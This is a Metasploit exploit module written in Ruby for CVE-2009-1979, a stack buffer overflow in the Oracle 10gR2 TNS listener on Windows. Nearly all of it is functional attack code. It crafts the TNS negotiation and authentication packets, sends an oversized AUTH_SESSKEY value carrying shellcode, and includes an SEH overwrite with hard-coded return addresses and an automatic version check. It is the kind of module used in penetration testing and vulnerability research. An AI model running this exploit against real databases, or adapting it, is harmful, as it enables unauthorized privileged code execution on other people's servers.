##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::TNS
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Oracle 10gR2 TNS Listener AUTH_SESSKEY Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in Oracle. When
        sending a specially crafted packet containing a long AUTH_SESSKEY value
        to the TNS service, an attacker may be able to execute arbitrary code.
      },
      'Author'         => [ 'jduck' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2009-1979'],
          [ 'OSVDB', '59110'],
          [ 'BID', '36747'],
          [ 'URL', 'http://blogs.conus.info/node/28' ],
          [ 'URL', 'http://blogs.conus.info/node/35' ],
          [ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2009.html' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
        },
      'Payload'        =>
        {
          'Space'    => 0x17e,
          'BadChars' => "", # none, thx memcpy!
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { } ],

          [ 'Oracle 10.2.0.1.0 Enterprise Edition',
            {
              # Untested
              'Ret' => 0x011b0528 # p/p/r in oracle.exe v10.2.0.3
            }
          ],
          [ 'Oracle 10.2.0.4.0 Enterprise Edition',
            {
              # Tested OK - 2010-Jan-20 - jduck
              'Ret' => 0x01347468 # p/p/r in oracle.exe v10.2.0.3
            }
          ]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => '2009-10-20'))

    register_options(
      [
        OptString.new('SID', [ true, 'The target database SID', 'ORCL']),
        Opt::RPORT(1521)
      ])
  end


  def check
    version = tns_version
    if (not version)
      vprint_error("Unable to detect the Oracle version!")
      return Exploit::CheckCode::Unknown
    end
    vprint_status("Oracle version reply: " + version)
    return Exploit::CheckCode::Appears if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/)
    return Exploit::CheckCode::Appears if (version =~ /32-bit Windows: Version 10\.2\.0\.4\.0/)
    return Exploit::CheckCode::Safe
  end


  def exploit

    mytarget = nil
    if target.name =~ /Automatic/
      print_status("Attempting automatic target detection...")

      version = tns_version
      if (not version)
        fail_with(Failure::NoTarget, "Unable to detect the Oracle version!")
      end

      if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/)
        mytarget = targets[1]
      elsif (version =~ /32-bit Windows: Version 10\.2\.0\.4\.0/)
        mytarget = targets[2]
      end

      if (not mytarget)
        fail_with(Failure::NoTarget, "Unable to automatically detect the target")
      end

      print_status("Automatically detected target \"#{mytarget.name}\"")
    else
      mytarget = target

      print_status("Attacking using target \"#{mytarget.name}\"")
    end


    username = rand_text_alphanumeric(0x1c)

    connect

    print_status("Sending NSPTCN packet ...")
    connect_data = "" +
      "(DESCRIPTION=" +
        "(CONNECT_DATA=" +
          "(SERVICE_NAME=#{datastore['SID']})" +
          "(CID=" +
            "(PROGRAM=client.exe)" +
            "(HOST=client_host)" +
          ")" +
        ")" +
        "(ADDRESS=" +
          "(PROTOCOL=TCP)" +
          "(PORT=1521)" +
        ")" +
      ")"
    nsptcn_pkt = tns_packet(connect_data)
    sock.put(nsptcn_pkt)

    # read NSPTRS (expecting 8 bytes)
    res = sock.get_once(-1, 1)
    #print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))

    print_status("Re-sending NSPTCN packet ...")
    sock.put(nsptcn_pkt)

    # read NSPTAC (expecting 32 bytes)
    begin
      res = sock.get_once(-1, 1)
    rescue ::Errno::ECONNRESET, EOFError
      fail_with(Failure::Unknown, "OOPS, maybe the service hasn't started completely yet, try again...")
    end
    #print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))

    # send NA
    print_status("Sending NA packet ...")
    na_stuff = [0xdeadbeef].pack('N') +
      "\x00\x92" +
      "\x0B\x10\x06\x00\x00\x04\x00\x00\x04\x00\x03\x00\x00\x00\x00\x00" +
      "\x04\x00\x05\x0B\x10\x06\x00\x00\x08\x00\x01\x00\x00\x0A\xF8\x71" +
      "\xC2\x6C\xE1\x00\x12\x00\x01\xDE\xAD\xBE\xEF\x00\x03\x00\x00\x00" +
      "\x04\x00\x04\x00\x01\x00\x01\x00\x02\x00\x01\x00\x03\x00\x00\x00" +
      "\x00\x00\x04\x00\x05\x0B\x10\x06\x00\x00\x02\x00\x03\xE0\xE1\x00" +
      "\x02\x00\x06\xFC\xFF\x00\x02\x00\x02\x00\x00\x00\x00\x00\x04\x00" +
      "\x05\x0B\x10\x06\x00\x00\x0C\x00\x01\x00\x11\x06\x10\x0C\x0F\x0A" +
      "\x0B\x08\x02\x01\x03\x00\x03\x00\x02\x00\x00\x00\x00\x00\x04\x00" +
      "\x05\x0B\x10\x06\x00\x00\x03\x00\x01\x00\x03\x01"
    na_pkt = nsptda_packet(na_stuff)
    sock.put(na_pkt)

    # read response (expecting 127 bytes)
    res = sock.get_once(-1, 1)
    #print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))

    # send TTIPRO
    print_status("Sending TTIPRO packet ...")
    ttipro_stuff = "\x01\x06\x05\x04\x03\x02\x01\x00" +
      "IBMPC/WIN_NT-8.1.0" +
      "\x00"
    ttipro_pkt = nsptda_packet(ttipro_stuff)
    sock.put(ttipro_pkt)

    # read response (expecting 179 bytes)
    res = sock.get_once(-1, 1)
    #print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))

    # send TTIDTY
    print_status("Sending TTIDTY packet ...")
    ttidty_stuff = "\x02\xB2\x00\xB2\x00\xD2" +
      "\x25\x06\x01\x01\x01\x0D\x01\x01\x05\x01\x01\x01\x01\x01\x01\x01" +
      "\x7F\xFF\x03\x09\x03\x03\x01\x00\x7F\x01\x1F\xFF\x01\x03\x01\x01" +
      "\x3F\x01\x01\x05\x00\x01\x07\x02\x01\x00\x00\x18\x00\x01\x80\x00" +
      "\x00\x00\x3C\x3C\x3C\x80\x00\x00\x00\xD0\x07"
    ttidty_pkt = nsptda_packet(ttidty_stuff)
    sock.put(ttidty_pkt)

    # read response (expecting 22 bytes)
    res = sock.get_once(-1, 1)
    #print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))

    # send first auth pkt (call OSESSKEY)
    print_status("Calling OSESSKEY ...")
    params = []
    dtyauth_pkt = dtyauth_packet(0x76, username, 1, params)
    sock.put(dtyauth_pkt)

    # read RPA (expecting 225 bytes)
    res = sock.get_once(-1, 1)
    #print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))

    # build exploit buffer
    print_status("Calling kpoauth with long AUTH_SESSKEY ...")
    sploit = payload.encoded
    sploit << rand_text_alphanumeric(0x19a - 0x17e)
    sploit << generate_seh_record(mytarget.ret)
    distance = payload_space + 8 + 5
    sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

    # ensure bad ptr is derefed
    value = rand(0x3fffffff) | 0xc0000000
    sploit[0x17e,4] = [value].pack('V')

    # send overflow trigger packet (call kpoauth)
    params = []
    params << {
      'Name'   => 'AUTH_SESSKEY',
      'Value'  => sploit,
      'Flag'   => 1
    }
    dtyauth_pkt = dtyauth_packet(0x73, username, 0x121, params)
    sock.put(dtyauth_pkt)

    # expecting disconnect...
    if (res = sock.get_once(-1, 1))
      print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
      fail_with(Failure::NoTarget, "Try to run the exploit again.. If that doesn't work, the target host may be patched :-/")
    end

    handler
    disconnect
  end


  def tns_version
    connect
    version = "(CONNECT_DATA=(COMMAND=VERSION))"
    pkt = tns_packet(version)
    sock.put(pkt)
    sock.get_once
    res = sock.get_once(-1, 1)
    disconnect
    return res
  rescue EOFError
    return nil
  end


  def nsptda_packet(data)
    pkt = [data.length + 10].pack('n')    # NSPHDLEN
    pkt << [0].pack('n')                  # NSPHDPSM
    pkt << [6].pack('C')                  # pkt type
    pkt << [0].pack('C')                  # reserved
    pkt << [0].pack('n')                  # NSPHDHSM
    pkt << [0].pack('n')                  # NSPDAFLG
    pkt << data
    return pkt
  end


  def dtyauth_packet(opi, user, flag, params)
    dunno = 2
    dunno = 3 if opi == 0x73

    pkt = [3, opi, dunno].pack('CCC')

    pkt << [-2].pack('V')
    pkt << [user.length].pack('V')
    pkt << [flag].pack('V')

    pkt << [-2].pack('V')
    pkt << [params.length].pack('V')
    pkt << [-2].pack('V')
    pkt << [-2].pack('V')

    pkt << [user.length].pack('C')
    pkt << user

    params.each { |param|
      name = param['Name']
      pkt << [name.length].pack('V')
      pkt << [name.length].pack('C')
      pkt << name

      val = param['Value']
      pkt << [val.length].pack('V')
      if (val.length > 0)
        if (val.length > 0xff)
          pkt << chunkify(val)
        else
          pkt << [val.length].pack('C')
          pkt << val
        end
      end

      flag = param['Flag']
      pkt << [flag].pack('V')
    }
    return nsptda_packet(pkt)
  end


  def chunkify(buf)
    ret = ""
    if buf.length > 0xff
      ret << "\xfe"

      while (buf.length > 0xff)
        ret << "\xff"
        ret << buf.slice!(0, 0xff)
      end
      if buf.length > 0
        ret << [buf.length].pack('C')
        ret << buf
      end

      ret << "\x00"
    else
      ret << [buf.length].pack('C')
      ret << buf
    end
    return ret
  end
end
